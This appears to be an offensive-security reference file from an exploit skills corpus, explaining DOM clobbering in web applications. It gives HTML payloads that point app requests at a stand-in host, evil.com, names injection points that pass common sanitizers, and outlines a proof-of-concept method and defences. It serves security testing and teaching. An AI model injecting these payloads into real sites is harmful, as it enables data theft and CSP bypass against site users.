DOM Clobbering
Named HTML elements (<form>, <a>, <input>, <img>) with name=
or id= are accessible as JavaScript properties of window and document.
If app code does if (window.config.endpoint) and attacker can inject
HTML (even sanitized), they can replace window.config with an HTML
element.
1. The classic
<!-- App code -->
<script>
if (window.config && window.config.endpoint) {
fetch(window.config.endpoint + '/data');
}
</script>
<!-- Attacker-injected HTML (passes most sanitizers — no script/event handlers) -->
<form id="config"><input name="endpoint" value="//evil.com"></form>
window.config resolves to the form. window.config.endpoint resolves
to the input. .endpoint is now "//evil.com". App fetches from evil.
2. Common targets
window.locationoverwrite (anchor w/id=location)- Library global config (jQuery's
$.cookie, etc) - CSP nonce/source values read from globals
document.cookie(limited but exploitable)window.onerrorclobber
3. Payload patterns
Single-element clobber
<a id="config" href="//evil.com"></a>
<!-- window.config is the anchor; window.config.toString() returns "//evil.com" -->
Multi-level clobber (a.b.c)
<form id="config"><input name="endpoint" value="//evil.com"></form>
<!-- window.config.endpoint = "//evil.com" -->
<!-- Deeper nesting via name= chaining is more limited; needs Document Proxy or specific browsers -->
CSP nonce theft
<!-- App: <script nonce="ABC123"> -->
<form name="nonce"><input name="nonce" value="ABC123"></form>
<!-- Some code reads window.nonce.value (rare but exists) -->
Cookie attribute hijack
<form name="cookie" action="//evil.com"></form>
<!-- document.cookie unchanged but some libs read window.cookie -->
4. Where to inject
DOM clobbering payloads pass MOST HTML sanitizers (DOMPurify default, sanitize-html, bleach) because they contain no script tags or event handlers. Targets:
- CMS rich-text content
- Markdown renderers (especially raw HTML-allowed)
- Comment systems
- Profile fields rendered into the page
5. Detection
// In browser console on a target page, list all "named" elements that exist:
Array.from(document.getElementsByTagName('*'))
.filter(e => e.name || e.id)
.map(e => [e.tagName, e.name || e.id]);
// Then check which of these names also exist as window properties used by app JS
// (grep app JS bundle for `window.<name>` references)
6. PoC
Find an HTML-injection sink (not strict XSS) that passes sanitizer
because no JS. Inject the form clobber. Confirm via observed network
request to //evil.com (DNS-level via interactsh).
7. Severity
| Bug | Severity |
|---|---|
| Clobber → CSP bypass enabling stored XSS | Critical 9.0 |
| Clobber of endpoint → exfil PII | High 8.0 |
| Clobber of OAuth flow config | Critical 9.0 |
| Standalone clobber w/o exploitable chain | Low-Medium |
8. Defender
- Sanitizers should strip
id=andname=from user content (DOMPurify hasALLOW_DATA_ATTR: false+FORBID_ATTR: ['id', 'name']config) - Use
Object.defineProperty(window, 'config', {value: cfg, writable: false})for security-critical globals - Use scoped namespaces instead of window globals
- CSP
script-srcw/ hashes (not just nonces) — DOM clobbering can't fake the hash
Cross-references
- Upstream:
skills/_corpus/payloads/DOM Clobbering/ - XSS overlap:
skills/exploit/web/xss.md - CSS injection (similar tactical mindset):
skills/exploit/web/css-injection/SKILL.md(when added)
Known exemplars
- Gareth Heyes / PortSwigger 2020 paper "DOM Clobbering for fun and profit"
- Bypass of Google's Closure templating system
- Multiple HackerOne reports for $5-15k on enterprise CMS clobber chains